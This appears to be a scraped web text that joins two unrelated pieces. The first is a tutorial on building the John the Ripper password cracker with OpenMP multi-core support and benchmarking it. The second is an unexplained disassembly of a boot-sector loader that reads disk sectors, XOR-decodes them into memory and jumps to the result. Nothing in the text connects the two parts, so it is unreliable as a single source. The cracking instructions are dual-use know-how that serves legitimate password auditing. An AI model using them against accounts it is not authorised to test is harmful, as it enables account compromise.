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Johncan break many password hashes, but one of the primary missing feature was the CPU multiple core support. But today, John the Ripper 1.7.9 supports OpenMP which brings Multi-Processing. Of course this feature was present on some patched versions of John, but since the 1.7.9 version it is officially integrated.One of the best platform where you should use John the Ripper is UNIX, I personally prefer using john on Debian x86_64.Let’s try some simple steps to enable and illustrate the new feature

• First go to John the Ripper password cracker, and download the latest version. When I write this article the latest stable release was 1.7.9.

$ wget http://www.openwall.com/john/g/john-1.7.9.tar.gz $ tar -xvzf john-1.7.9.tar.gz

• Now let’s make some changes into the Makefile to enable the use of OpenMP

$ cd john-1.7.9/src/ john-1.7.9/src$ nano Makefile

• Locate the following lines

# gcc with OpenMP #OMPFLAGS = -fopenmp #OMPFLAGS = -fopenmp -msse2

• Uncomment OMPFLAGS

# gcc with OpenMP OMPFLAGS = -fopenmp OMPFLAGS = -fopenmp -msse2

• Before compiling john, make sure you have gcc installed! Now, let’s compile john.

john-1.7.9/src$ make

This command will list all the systems where john can be compiled on. As I’m running Debian x86_64, I will choose linux-x86-64.

john-1.7.9/src$ make linux-x86-64

John should be located in the ../run folder.

• Let’s try John

john-1.7.9/src$ cd ../run/ john-1.7.9/run$ ./john --test

Some benches should appear…

Benchmarking: Traditional DES [128/128 BS SSE2-16]... DONE Many salts: 7651K c/s real, 3872K c/s virtual Only one salt: 6876K c/s real, 3487K c/s virtual

And John might use all your CPU cores.

• Now let’s do something fun, if you want John to use a certain amount of cores you can adjust it with the environment variable OMP_NUM_THREADS:

john-1.7.9/run$ OMP_NUM_THREADS=1 ./john --test

Benchmarking: Traditional DES [128/128 BS SSE2-16]... DONE Many salts: 3982K c/s real, 3990K c/s virtual Only one salt: 3770K c/s real, 3770K c/s virtual

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; ---------------------------------------------------------------------------
; Format : Binary file
; Base Address: 0000h Range: 0000h - 0098h Loaded length: 0098h

.686p
.mmx
.model flat

; ================================================== =========================

; Segment type: Pure code
seg000 segment byte public 'CODE' use16
assume cs:seg000
assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
cli
xor ax, ax
mov ss, ax
mov sp, 7C00h
mov si, sp
push ax
pop es
push ax
pop ds
sti
cld
mov di, 600h
mov cx, 100h
rep movsw
jmp far ptr 0:61Dh
; ---------------------------------------------------------------------------
mov dh, 0
mov cx, 2
mov di, 5

loc_25: ; CODE XREF: seg000:0036j
mov bx, 700h
mov ax, 201h
push di
int 13h ; DISK - READ SECTORS INTO MEMORY
; AL = number of sectors to read, CH = track, CL = sector
; DH = head, DL = drive, ES:BX -> buffer to fill
; Return: CF set on error, AH = status, AL = number of sectors read
pop di
jnb short loc_3D
xor ax, ax
int 13h ; DISK - RESET DISK SYSTEM
; DL = drive (if bit 7 is set both hard disks and floppy disks reset)
dec di
jnz short loc_25
mov si, 68Ah
jmp short loc_78
; ---------------------------------------------------------------------------

loc_3D: ; CODE XREF: seg000:002Fj
mov cx, 3

loc_40: ; DATA XREF: seg000:0083r
mov di, 5

loc_43: ; CODE XREF: seg000:0059j
mov bx, 2000h
push bx
pop es
assume es:nothing
mov bx, 0
mov ax, 220h ; DATA XREF: seg000:002Cr seg000:0033r ...
push di
int 13h ; DISK - READ SECTORS INTO MEMORY
; AL = number of sectors to read, CH = track, CL = sector
; DH = head, DL = drive, ES:BX -> buffer to fill
; Return: CF set on error, AH = status, AL = number of sectors read
pop di
jnb short loc_60
xor ax, ax
int 13h ; DISK - RESET DISK SYSTEM
; DL = drive (if bit 7 is set both hard disks and floppy disks reset)
dec di
jnz short loc_43
mov si, 68Ah
jmp short loc_78
; ---------------------------------------------------------------------------

loc_60: ; CODE XREF: seg000:0052j
mov cx, 3FFFh
mov si, 800h
xor di, di

loc_68: ; CODE XREF: seg000:0071j
lodsw
and si, 0FFBFh
xor ax, es:[di]
stosw
dec cx
jnz short loc_68
jmp far ptr 2000h:0
; ---------------------------------------------------------------------------

loc_78: ; CODE XREF: seg000:003Bj seg000:005Ej ...
lodsb
cmp al, 0
jz short loc_88
push si
mov bx, 7
mov ah, 0Eh
int 10h ; - VIDEO - WRITE CHARACTER AND ADVANCE CURSOR (TTY WRITE)
; AL = character, BH = display page (alpha modes)
; BL = foreground color (graphics modes)
pop si
jmp short loc_78
; ---------------------------------------------------------------------------

loc_88: ; CODE XREF: seg000:007Bj
; seg000:loc_88j
jmp short loc_88
; ---------------------------------------------------------------------------
db 44h ; D
db 69h ; i
db 73h ; s
db 6Bh ; k
db 20h
db 49h ; I
db 2Fh ; /
db 4Fh ; O
db 20h
db 45h ; E
db 72h ; r
db 72h ; r
db 6Fh ; o
db 72h ; r
seg000 ends


end

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